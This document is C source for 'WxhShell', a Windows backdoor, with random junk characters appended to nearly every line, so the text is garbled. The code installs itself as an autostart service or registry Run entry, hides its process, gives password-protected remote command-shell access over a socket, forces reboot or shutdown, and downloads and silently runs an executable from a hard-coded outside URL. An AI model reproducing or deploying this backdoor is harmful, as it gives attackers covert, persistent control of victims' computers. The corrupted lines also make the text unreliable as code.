    } iBg3mc@OO  
  // 关机 b7`D|7D  
  case 'd': { u{<"NR h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |*5 =_vF  
    if(Boot(SHUTDOWN)) OhZgcUqQ8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u+m,b76  
    else { NpP')m!`}  
    closesocket(wsh); <UP m=Hb  
    ExitThread(0); 7, } $u  
    } 8IQtz2  
    break; A7_4 .VH  
    } ZP\M9Ja  
  // 获取shell bm~W EX  
  case 's': { C4$:mJ>y  
    CmdShell(wsh); Sl2iz?   
    closesocket(wsh); -fI`3#  
    ExitThread(0); 7cDU2l  
    break; {Azn&|%.t  
  } 9pn>-1NJ  
  // 退出 BaI $S>/Q  
  case 'x': { WsU)Y&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  mEG6  
    CloseIt(wsh);  uF|3/x=  
    break; n.MRz WJpZ  
    } gmKGy@]  
  // 离开 =W bOwI)u  
  case 'q': { nQX+pkJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (IqZ@->nw  
    closesocket(wsh); /1=4"|q>h'  
    WSACleanup(); hXIro  
    exit(1); H9XvO  
    break; ~/pzxo$  
        } Qd_6)M-  
  } 'NjzgZ~]P  
  } 7,qYV}  
:$;Fhf<5  
  // 提示信息 a]17qMl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7w :ef0S  
}  .~A*=  
  } $,=6[T!z+e  
SvM6iZ]  
  return; S_ MyoXV  
} z}QwP~Z  
H(c72]@Vg  
// shell模块句柄 aimarU  
int CmdShell(SOCKET sock) qU2~fNY  
{ {'sY|lou  
STARTUPINFO si; bK"SKV  
ZeroMemory(&si,sizeof(si)); T3UMCqc=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; : JzI>/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,j;m!V  
PROCESS_INFORMATION ProcessInfo; n9w9JXp;!  
char cmdline[]="cmd"; `+'rib5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x9/H/'  
  return 0; iXu]e;6  
} RpWTpT1  
'|]e<Mt-  
// 自身启动模式 6*4's5>?D  
int StartFromService(void) 0]KraLu"N  
{ Amr[wx  
typedef struct T{wpJ"F5<]  
{ n~"$^Vr  
  DWORD ExitStatus; <?-YTY|  
  DWORD PebBaseAddress; w{[=l6L m  
  DWORD AffinityMask; f0<hE2  
  DWORD BasePriority; 2]GdD*  
  ULONG UniqueProcessId; 1_fZm+oW!  
  ULONG InheritedFromUniqueProcessId; ;{ i'#rn{  
}   PROCESS_BASIC_INFORMATION; 0nn okN^  
mpAR7AG6  
PROCNTQSIP NtQueryInformationProcess; W>r#RXmh  
>EL)X #e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hT$~ygQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qPB8O1fyU  
tO7v4  
  HANDLE             hProcess; LTNj| u  
  PROCESS_BASIC_INFORMATION pbi; 3 !Sp0P  
s+Fi @lg,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iHwLZ[O{  
  if(NULL == hInst ) return 0; UNijFGi  
=PRx?q`d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S)QAXjH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /,!qFt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pi=-#g(2  
Vd".u'r  
  if (!NtQueryInformationProcess) return 0; b KTcZG  
tQZs.1=z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &PkLp4mQ  
  if(!hProcess) return 0; p raaY}}  
@L.82p{h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Um1[sMc{au  
Z3>N<u8)  
  CloseHandle(hProcess); 4S~o-`&W  
F'g Vzf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]\/tVn.'  
if(hProcess==NULL) return 0; jV.g}F+1m  
4}_O`Uxh  
HMODULE hMod; Gl1jxxd  
char procName[255]; ,Jcm+ Wb  
unsigned long cbNeeded; `cPywn@uGZ  
REZJ}%}/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S3L~~X/=  
obdFS,JxxG  
  CloseHandle(hProcess); fLV"T_rk  
%6AW7q t  
if(strstr(procName,"services")) return 1; // 以服务启动 KD/V aN  
pF ^#}L  
  return 0; // 注册表启动 #cj6{%c 4  
} fc/ &X  
? uYu`Ojzr  
// 主模块 .(pN5JI*  
int StartWxhshell(LPSTR lpCmdLine) 8ElKD{.BU8  
{  Z%I  
  SOCKET wsl; ;'81jbh  
BOOL val=TRUE; f|y:vpd%  
  int port=0; J=pztASt  
  struct sockaddr_in door; i)#s.6.D>  
lKEkXO  
  if(wscfg.ws_autoins) Install(); ;7N Z<k  
AuR$g7z  
port=atoi(lpCmdLine); d Le-nF  
{R/C0-Q^^  
if(port<=0) port=wscfg.ws_port; ix#epuN  
nXjP x@  
  WSADATA data; gN)c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?<G]&EK~~]  
e/->_T(I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -P&6L\V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lm@vXgMD  
  door.sin_family = AF_INET; "V&+7"Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `"qP  
  door.sin_port = htons(port); 0 IQ'3_  
LH:i| I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (`? y2n)~W  
closesocket(wsl); /y^7p9Z`  
return 1; F :6SPY y  
} 1sP dz L  
b T 2a40ul  
  if(listen(wsl,2) == INVALID_SOCKET) { "5eNLqt^q  
closesocket(wsl); %pXAeeSY`;  
return 1; }(egMx;"3J  
} {O|'U'  
  Wxhshell(wsl); {EdH$l>94  
  WSACleanup(); 0rGSH*(  
g;ZxvR)ZJk  
return 0; ICAH G7,  
Me6+~"am/  
} lN9=TxH1(;  
c)@>zto#  
// 以NT服务方式启动 1heS*Fwn'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "B_K XL  
{ cUDoN`fSl,  
DWORD   status = 0; ho>k$s?  
  DWORD   specificError = 0xfffffff; QdLYCR4f  
VXR]"W=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %lg=YGLQB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;Ag 3c+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G;f/Tch  
  serviceStatus.dwWin32ExitCode     = 0; ' oF xR003  
  serviceStatus.dwServiceSpecificExitCode = 0; 8ssJ<LP  
  serviceStatus.dwCheckPoint       = 0; c\% r38  
  serviceStatus.dwWaitHint       = 0; QXF aAb=(7  
5=e@d:Sz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W cC?8X2  
  if (hServiceStatusHandle==0) return; 1^i Pji/  
M>M`baM1  
status = GetLastError(); erVO|<%=R  
  if (status!=NO_ERROR) o[E_Ge}g8  
{ <(vCiH9~P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q:ezifQ  
    serviceStatus.dwCheckPoint       = 0; 6%Be36<  
    serviceStatus.dwWaitHint       = 0; V 21njRS  
    serviceStatus.dwWin32ExitCode     = status; YDGS}~m~Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; !Ci~!)$z6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cuc$3l(%  
    return; Agrp(i"\@  
  } kD[ r.Dma  
nI0[;'Hn,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tr^nkD{  
  serviceStatus.dwCheckPoint       = 0; [b:e:P 2  
  serviceStatus.dwWaitHint       = 0; :8A!HI}m{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~q&pF"va8  
} .'a&3 3J  
&sF^Fgg{  
// 处理NT服务事件,比如:启动、停止 s&GJW@ |  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c*UvYzDZL  
{ 0j C3fT!n  
switch(fdwControl) w1;hy"zPsj  
{ %7O?JI [  
case SERVICE_CONTROL_STOP: b*ef);  
  serviceStatus.dwWin32ExitCode = 0; U\rh[0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xUfbW;;]UU  
  serviceStatus.dwCheckPoint   = 0; kp\\"+,VC  
  serviceStatus.dwWaitHint     = 0; <w\:<5e'  
  { 9M"].~iNE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l|5fE1K9U  
  } vf4{$Oag  
  return; t20PP4FWM  
case SERVICE_CONTROL_PAUSE: h_d<!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d,$d~alY  
  break; L4L2O7  
case SERVICE_CONTROL_CONTINUE: pStk/te,XK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xooY' El*#  
  break; 4`Ic&c/  
case SERVICE_CONTROL_INTERROGATE: e *j.  
  break; q64k7<C,  
}; 9_sA&2P{uV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :R.&`4=X  
}  s}onsC  
gT/@dVV  
// 标准应用程序主函数 ;+1RU v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :iR \%  
{ %& _V0R\k  
eiJ2NwR\w  
// 获取操作系统版本 wM_c48|d  
OsIsNt=GetOsVer(); <5=JE*s$NS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <)*2LBF@]  
*-s,. F+c  
  // 从命令行安装 OiDhJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); (Z5##dS3  
@E.k/G!~Nb  
  // 下载执行文件 1 y}2+Kk  
if(wscfg.ws_downexe) { ! Q<>3 xZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "7>>I D  
  WinExec(wscfg.ws_filenam,SW_HIDE); m?HZ;  
} P,=+W(s9}  
q.2(OP>(  
if(!OsIsNt) { kF7V.m/~o  
// 如果时win9x,隐藏进程并且设置为注册表启动 bxK(9.  
HideProc(); E+C5 h ;p&  
StartWxhshell(lpCmdLine); -CH`>  
} n41@iK2l  
else [7m1Q<  
  if(StartFromService()) ny-7P;->8  
  // 以服务方式启动 4em;+ >D6  
  StartServiceCtrlDispatcher(DispatchTable); 0b91y3R+  
else (Toq^+`c  
  // 普通方式启动 aCV4AyG  
  StartWxhshell(lpCmdLine); L!_ZY  
>+5?F*`\D*  
return 0; ;V<iL?  
} ~el3I=KC}  
P'MY[&|mM'  
Jw~( G9G  
rwIe qV{:  
=========================================== i* R,QN)  
fri0XxF  
mW%?>Z1=>d  
22(*J<  
BK,sc'b  
x_|F|9  
" H;aYiy  
r3rxC&  
#include <stdio.h> 9x+<I k  
#include <string.h> qC!&x,}3  
#include <windows.h> x{ }z ;yG  
#include <winsock2.h> $>U # W:  
#include <winsvc.h> 9dh >l!2  
#include <urlmon.h> `IINq{Zk  
>s3gqSDR  
#pragma comment (lib, "Ws2_32.lib") fQ+VT|jzx  
#pragma comment (lib, "urlmon.lib") @xsCXCRWVV  
Z['\61  
#define MAX_USER   100 // 最大客户端连接数 OPBt$Ki  
#define BUF_SOCK   200 // sock buffer UueD(T;p  
#define KEY_BUFF   255 // 输入 buffer B~'MBBD"  
0:KE@=  
#define REBOOT     0   // 重启 (yo;NKq,@  
#define SHUTDOWN   1   // 关机 dMx4ykrR  
)x#5Il H  
#define DEF_PORT   5000 // 监听端口 9]$8MY   
m\ /(w_/?  
#define REG_LEN     16   // 注册表键长度 \bCX=E-  
#define SVC_LEN     80   // NT服务名长度 8 6QE /M  
@+U,Nzd  
// 从dll定义API @&1Wy p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9@ $,oM=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N^VD=<#T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /RLq>#:h**  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `nR%Cav,U  
CBf7]n0H  
// wxhshell配置信息 CLKov\U\  
struct WSCFG { CGw--`#\  
  int ws_port;         // 监听端口 pO<-.,  
  char ws_passstr[REG_LEN]; // 口令 m xw dugr`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5sde  
  char ws_regname[REG_LEN]; // 注册表键名 KRsAv^']  
  char ws_svcname[REG_LEN]; // 服务名 I>h<b_y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y?[snrK G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nD" ~?*Lt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^C&+ ~+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XC15K@K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ANH4IYd3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P,gdnV ^  
151tXSzLT  
}; "fQRk  
C-P06Q]  
// default Wxhshell configuration c.H?4j7ga  
struct WSCFG wscfg={DEF_PORT, PBks` |+  
    "xuhuanlingzhe", RK9>dkW  
    1, O}Ui`eWU  
    "Wxhshell", [_y@M ]  
    "Wxhshell", ]6tkEyuq  
            "WxhShell Service", s_jBu  
    "Wrsky Windows CmdShell Service", 4aZCFdc  
    "Please Input Your Password: ", ~!%0Z9>ap  
  1, xSpC'"   
  "http://www.wrsky.com/wxhshell.exe", Q"a2.9Eo  
  "Wxhshell.exe" |c-LSs'\  
    }; SP 2 8  
-7'#2P<)  
// 消息定义模块 9CUimZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #:3r4J%+~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %IpSK 0<Sp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <2  
char *msg_ws_ext="\n\rExit."; ?BCy J  
char *msg_ws_end="\n\rQuit."; MBk"KF  
char *msg_ws_boot="\n\rReboot..."; #`GbHxd  
char *msg_ws_poff="\n\rShutdown..."; }F`beoMAkM  
char *msg_ws_down="\n\rSave to "; <l\N|+7R  
[UPNd!sy  
char *msg_ws_err="\n\rErr!"; X=qS"O 1  
char *msg_ws_ok="\n\rOK!"; o 6j"OZcv  
Ri:p8  
char ExeFile[MAX_PATH]; DOD6Liau{Q  
int nUser = 0; =.m6FRsU  
HANDLE handles[MAX_USER]; X<Za9  
int OsIsNt; b5ie <s  
UPCQs",  
SERVICE_STATUS       serviceStatus; coQ[@vu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ){Z  
DM7}&~  
// 函数声明 1JTbCS  
int Install(void); 9+CFRYC  
int Uninstall(void); s*,cF6  
int DownloadFile(char *sURL, SOCKET wsh); sz09+4h#  
int Boot(int flag); bLG]Wa  
void HideProc(void); Wb=Jj 9;  
int GetOsVer(void); 4sY[az  
int Wxhshell(SOCKET wsl); 9rj('F & 1  
void TalkWithClient(void *cs); OKY+M^PP  
int CmdShell(SOCKET sock); 5S/>l_od$2  
int StartFromService(void); f==*"?6\  
int StartWxhshell(LPSTR lpCmdLine); R$b,h  
$"fo^?d/s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q G ;-o)h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \v`#|lT$  
^/KfH &E  
// 数据结构和表定义  ';lfS  
SERVICE_TABLE_ENTRY DispatchTable[] = |n P_<9[  
{ P!\hnm)%4  
{wscfg.ws_svcname, NTServiceMain}, lC9S\s  
{NULL, NULL} I{n;4?  
}; jW5iqU"{*  
+BB0wY  
// 自我安装 q@Kk\m  
int Install(void) @[r={s\  
{ dt-K  
  char svExeFile[MAX_PATH]; QJ<[Zx  
  HKEY key; n!.2aq  
  strcpy(svExeFile,ExeFile); t!l%/$-  
<Ry $7t,  
// 如果是win9x系统,修改注册表设为自启动 u7k|7e=xk  
if(!OsIsNt) { Jirct,k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4]6Qr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &G{2s J5{  
  RegCloseKey(key); HCc`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EODB`$+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8$ DwpJ  
  RegCloseKey(key); ce5nG0@#  
  return 0; M'u=H  
    } ,RK3eQ  
  } ?vu|o'$T,  
} ZO7bSxAN-  
else { Ex,JB +  
{% F`%_{"  
// 如果是NT以上系统,安装为系统服务 npj/7nZj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ##~!M(c  
if (schSCManager!=0) LP>UU ,Z  
{ _'c+fG \  
  SC_HANDLE schService = CreateService $9i9s4u^  
  ( ;QidDi_s>  
  schSCManager, ]18Ucf  
  wscfg.ws_svcname, Iq,v  
  wscfg.ws_svcdisp, uYTCdZQh  
  SERVICE_ALL_ACCESS, #{>uC&jD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PPgW ^gj  
  SERVICE_AUTO_START, ,Oi^ySn  
  SERVICE_ERROR_NORMAL, $xcv>  
  svExeFile, !QTPWA  
  NULL, $I(}r3r  
  NULL, 7)PJ:4IqS  
  NULL, 1 ;Ju]  
  NULL, G;2[  
  NULL p"KV*D9b  
  ); h2&y<Eg>  
  if (schService!=0) Vi,Y@+4  
  { Y`]rj-8f0B  
  CloseServiceHandle(schService); ,eK2I Ao  
  CloseServiceHandle(schSCManager); q2Rf@nt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $`Rxn*}V4#  
  strcat(svExeFile,wscfg.ws_svcname); #7C6yXb%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V2QW\2@$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JX&~y.F  
  RegCloseKey(key); CXa Ld7nMX  
  return 0; Oo/8Y E @  
    } "3ug}k  
  } =AzOnXW:S  
  CloseServiceHandle(schSCManager); 5Jd` ^U  
} ;*`_#Rn#  
} -R74/GBg  
OequU'j  
return 1; )]}$   
} t[q3 {-  
h&$Py  
// 自我卸载 7V/Zr  
int Uninstall(void) I}ndRDz[  
{ .pKN4  
  HKEY key; 0lf"w@/  
l]u7.~b  
if(!OsIsNt) { +Z$a1 Y@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cE 2Rr  
  RegDeleteValue(key,wscfg.ws_regname); DCK_F8  
  RegCloseKey(key); rT<1S?jR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `r9^:TMN  
  RegDeleteValue(key,wscfg.ws_regname); CwB] )QV?  
  RegCloseKey(key); 43F^J%G  
  return 0; :P"9;$FY  
  } `=v@i9cTZ  
} DZ%8 |PmB  
} 5IO3 %p?  
else { mVHFT~x7}  
}Oh5Nm)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K_FBy  
if (schSCManager!=0) a^x  0 l  
{ ja:\W\xhJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ME,duY/>Q  
  if (schService!=0) 8ur_/h7  
  { r.Lx%LZ\^  
  if(DeleteService(schService)!=0) { 3m~U(yho  
  CloseServiceHandle(schService); (Y>U6  
  CloseServiceHandle(schSCManager); ) _ #T c  
  return 0; |/t K-c6J  
  } JQr36U  
  CloseServiceHandle(schService); >["Kd.ye  
  } "|\94  
  CloseServiceHandle(schSCManager); 3} l;  
} z(r" JNO@  
} ]svw CPu C  
zM)M_L  
return 1; 8vu2k>  
} vo.EM1x  
hOV_Oqe4?  
// 从指定url下载文件 1k`|[l^  
int DownloadFile(char *sURL, SOCKET wsh)  rA2qV  
{ 7%X+O8  
  HRESULT hr; fA;x{0CAMX  
char seps[]= "/"; m9uUDq#GJ  
char *token; %"{?[!C ?  
char *file; VJGwd`qo*A  
char myURL[MAX_PATH]; mxZ4 HD{  
char myFILE[MAX_PATH]; J ( =4  
ayN*fiV]  
strcpy(myURL,sURL); `c>A >c|  
  token=strtok(myURL,seps); Aw5K3@Ltz  
  while(token!=NULL) QZz&1n  
  { nWd:>Ur  
    file=token; "NlRSc#  
  token=strtok(NULL,seps); $F<%Jl7_Z  
  } qP@L(_=g  
:0{AP_tvcC  
GetCurrentDirectory(MAX_PATH,myFILE); ))$ CEh"X  
strcat(myFILE, "\\"); '\4c "Ho  
strcat(myFILE, file); n2H&t>N  
  send(wsh,myFILE,strlen(myFILE),0); ;k-g _{M  
send(wsh,"...",3,0); }D(DU5r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _8Pmv$   
  if(hr==S_OK) yFIl^Ck%  
return 0; JHHb|  
else #V,LNX)  
return 1; n&3iz05}  
e3G7K8  
} u87=q^$  
rGGS]^  
// 系统电源模块 -i2D#i'  
int Boot(int flag) Z+OAs0}mV  
{ T<! \B]  
  HANDLE hToken; 3{6ps : w  
  TOKEN_PRIVILEGES tkp; o$*bm6o  
Q=dw 6  
  if(OsIsNt) { oA5<[&~<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -wJ   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ccIDMJ=2  
    tkp.PrivilegeCount = 1; 8|fLe\"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D<lQoO+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cln^1N0  
if(flag==REBOOT) { <aD'$(N5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jt0H5-x  
  return 0; VZAuUw+M  
} W` WLW8Qsw  
else { &E} I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ka[Sm|-q  
  return 0; IY-(- a8  
} X L{{7%j  
  } HCI'q\\  
  else { yIn/Y0No  
if(flag==REBOOT) { gNG0k$nP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vsOdp:Yp9!  
  return 0; eV@4VxaZ  
} `M towXj  
else { }(8D!XgWa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z0EjIYI[N  
  return 0; #p']-No  
} L{4),65  
} f$~ _FX  
qiF@7i  
return 1; V.O<|tl.  
} "it`X B.  
UwvGr h  
// win9x进程隐藏模块 3'|Uqf8  
void HideProc(void) ]?v?Qfh2  
{ k^L#,:\&V  
GLbc/qs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gsx^j?  
  if ( hKernel != NULL ) EOMuqP)  
  { O7Y P_<,#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PT 0Qzg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F5 :2TEA  
    FreeLibrary(hKernel); T)$ 6H}[c  
  } h0'8NvalQ  
dm/-}  
return; LC~CPV'F  
} tuL\7 (R  
 hg<"Yg=  
// 获取操作系统版本 bW,BhUb,|  
int GetOsVer(void) E#IiyZ  
{ N>W;0u!  
  OSVERSIONINFO winfo; 4i ~eTb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #`fi2K&]j  
  GetVersionEx(&winfo); 0:7v/S!:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]j%*"V  
  return 1; r&H=i  
  else IG2`9rR  
  return 0; ?0 KiR?  
} E7d~#  
2ID*U d*  
// 客户端句柄模块 y@2vY[)3s  
int Wxhshell(SOCKET wsl) #U\&i`  
{ Huc3|~9  
  SOCKET wsh; _RA{SO  
  struct sockaddr_in client; yBXkN&1=%;  
  DWORD myID; =|j*VF2y"  
(6b?ir~  
  while(nUser<MAX_USER) !3b|*].B  
{ I{*.htt{  
  int nSize=sizeof(client); \FY/eQ*07  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +R{A'Yl[(  
  if(wsh==INVALID_SOCKET) return 1; yH0yO*R Z  
vu !j{%GO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9XJ9~I?  
if(handles[nUser]==0) Y%n{`9=  
  closesocket(wsh); sp=7Kh?|>  
else u`L!za7fi  
  nUser++; V{ a}#J  
  } X-*KQ+ ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B J:E,P`_  
dd?x5|/#  
  return 0; ArEH%e  
} )sY$\^'WY  
;:8jxkx6%  
// 关闭 socket e$p1Th*|]4  
void CloseIt(SOCKET wsh) Sh~ 8jEk  
{ JWUv H  
closesocket(wsh); }QApeZd+q  
nUser--; kp#c:ym  
ExitThread(0); W[jW;uk  
} +Zty}fe  
kG|>_5  
// 客户端请求句柄 )|59FOWg  
void TalkWithClient(void *cs) dcrJ,>i}  
{ C[J`x>-K  
b}EYNCw_7S  
  SOCKET wsh=(SOCKET)cs; (|ct`KU0#  
  char pwd[SVC_LEN]; lyOrM7Gs  
  char cmd[KEY_BUFF]; o%N0K   
char chr[1]; I49=ozPP  
int i,j; n41\y:CAo  
{$u@6& B  
  while (nUser < MAX_USER) { ya*q;D  
btB(n<G2#  
if(wscfg.ws_passstr) { .H[Lo>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W~+!"^<n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g[D,\  
  //ZeroMemory(pwd,KEY_BUFF); VQG  /g\  
      i=0; q6m87O9  
  while(i<SVC_LEN) { pO7{3%  
|+$j( YuH  
  // 设置超时 vt(}ga  
  fd_set FdRead; F_M~!]<na  
  struct timeval TimeOut;  HPd+Bd  
  FD_ZERO(&FdRead); EkgN6S`}  
  FD_SET(wsh,&FdRead); BHRrXC\  
  TimeOut.tv_sec=8; 8YJqM,t5)  
  TimeOut.tv_usec=0; u6bB5(s`&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s6eq?1l 3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CpP$HrQ  
B 3,ig9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fm[?@Z&wP  
  pwd=chr[0]; Vqv2F @.  
  if(chr[0]==0xd || chr[0]==0xa) { DY+8m8!4H  
  pwd=0; e) /u>I  
  break; yW6[Fpw  
  } a s<q  
  i++; Lu#@~  
    } /K Jx n6  
yrK--C8  
  // 如果是非法用户,关闭 socket t KqCy\-q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ig?.*j ]  
} NdED8 iRc  
Jj^<:t5{rN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4{;8 ]/.a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E#HU?<q8  
_>:=<xyOq  
while(1) { }mT%N eS  
aBA#\eV  
  ZeroMemory(cmd,KEY_BUFF); oRJP5Y5na  
(1r>50Ge  
      // 自动支持客户端 telnet标准   ,[K)E  
  j=0; n9-q5X^e>  
  while(j<KEY_BUFF) { 2YP"nj#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o"+ &^  
  cmd[j]=chr[0]; WY. \<$7  
  if(chr[0]==0xa || chr[0]==0xd) { l.NkS   
  cmd[j]=0; |2t7mat  
  break; qeO6}A"^|  
  } %Cbc@=k  
  j++; k~s>8N:&G  
    } <K.C?M(9  
ZZ.0'   
  // 下载文件 krnk%ug  
  if(strstr(cmd,"http://")) { dW=D]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?\p%Mx?   
  if(DownloadFile(cmd,wsh)) /o06hy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tU~H@'  
  else 2O)Kn q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wGQhr="  
  } [XU{)l  
  else { :z,vJ~PW  
